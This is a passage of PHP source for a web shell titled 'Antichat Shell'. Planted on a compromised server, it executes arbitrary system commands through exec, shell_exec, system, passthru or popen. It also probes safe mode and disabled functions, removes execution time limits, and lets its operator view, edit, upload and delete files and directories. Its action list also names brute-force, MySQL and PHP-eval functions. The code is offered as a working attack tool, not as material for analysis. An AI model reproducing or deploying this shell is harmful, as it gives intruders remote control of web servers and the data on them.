$v){$_POST[$k] = stripslashes($v);}}
@ini_set('max_execution_time',0);
(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
$action=$_POST['action'];
$file=$_POST['file'];
$dir=$_POST['dir'];
$content='';
$stdata='';
$style='';
$header='
'.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
$footer='';
$lang=array(
'filext'=>'File already exists.',
'uploadok'=>'File was successfully uploaded.',
'dircrt'=>'Dir is created.',
'dontlist'=>'Listing dir permission denide.',
'dircrterr'=>'Don't create dir.',
'dirnf'=>'Dir not found.',
'filenf'=>'File not found.',
'dontwrdir'=>'Only read current dir.',
'empty'=>'Directory not empty or access denide.',
'deletefileok'=>'File deleted.',
'deletedirok'=>'Dir deleted.',
'isdontfile'=>'Selected file this is link.',
'cantrfile'=>'Cant read file, permission denide.',
'onlyracc'=>'Don't edit, only read access.',
'workdir'=>'Work directory: ',
'fullacc'=>'Full access.',
'fullaccdir'=>'Full accees you are can create and delete dir.',
'thisnodir'=>'This is don't dir.',
'allfuncsh'=>'All function for work shell was disabled.'
);
$act=array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions
function test_file($file){
if(!file_exists($file))$err="1";
elseif(!is_file($file)) $err="2";
elseif(!is_readable($file))$err="3";
elseif(!is_writable($file))$err="4"; else $err="5";
return $err;}
function test_dir($dir){
if(!file_exists($dir))$err="1";
elseif(!is_dir($dir)) $err="2";
elseif(!is_readable($dir))$err="3";
elseif(!is_writable($dir))$err="4"; else $err="5";
return $err;}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {$info = 's';}
elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
else {$info = 'u';}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
return $info;}
function view_size($size){
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;}
if(isset($action)){if(!in_array($action,$act))$action="viewer";else $action=$action;}else $action="viewer";
if(isset($dir)){
$ts['test']=test_dir($dir);
switch($ts['test']){
case 1:$stdata.=$lang['dirnf'];break;
case 2:$stdata.=$lang['thisnodir'];break;
case 3:$stdata.=$lang['dontlist'];break;
case 4:$stdata.=$lang['dontwrdir'];$dir=chdir($GLOBALS['dir']);break;
case 5:$stdata.=$lang['fullaccdir'];$dir=chdir($GLOBALS['dir']);break;}
}else $dir=@chdir($dir);
$dir=getcwd()."/";
$dir=str_replace("\","/",$dir);
if(isset($file)){
$ts['test1']=test_file($file);
switch ($ts['test1']){
case 1:$stdata.=$lang['filenf'];break;
case 2:$stdata.=$lang['isdontfile'];break;
case 3:$stdata.=$lang['cantrfile'];break;
case 4:$stdata.=$lang['onlyracc'];$file=$file;break;
case 5:$stdata.=$lang['fullacc'];$file=$file;break;}
}
function shell($cmd)
{
global $lang;
$ret = '';
if (!empty($cmd))
{
if(function_exists('exec')){@exec($cmd,$ret);$ret = join("n",$ret);}
elseif(function_exists('shell_exec')){$ret = @shell_exec($cmd);}
elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();}
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();}
elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);}
else $ret=$lang['allfuncsh'];
}
return $ret;
}
function createdir($dir){mkdir($dir);}
//delete file
if($action=="delete"){
if(unlink($file)) $content.=$lang['deletefileok']." Click here for back in viewer";
}
//delete dir
if($action=="deletedir"){
if(!rmdir($file)) $content.=$lang['empty']." Click here for back in viewer";
else $content.=$lang['deletedirok']." Click here for back in viewer";
}
//shell
if($action=="shell"){
$content.="";}
//editor
if($action=="editor"){
$stdata.="| ";
function writef($file,$data){
$fp = fopen($file,"w+");
fwrite($fp,$data);
fclose($fp);
}
function readf($file){
clearstatcache();
$f=fopen($file, "r");
$contents = fread($f,filesize($file));
fclose($f);
return htmlspecialchars($contents);
}
if(@$_POST['save'])writef($file,$_POST['data']);
if(@$_POST['create'])writef($file,"");
$test=test_file($file);
if($test==1){
$content.=" |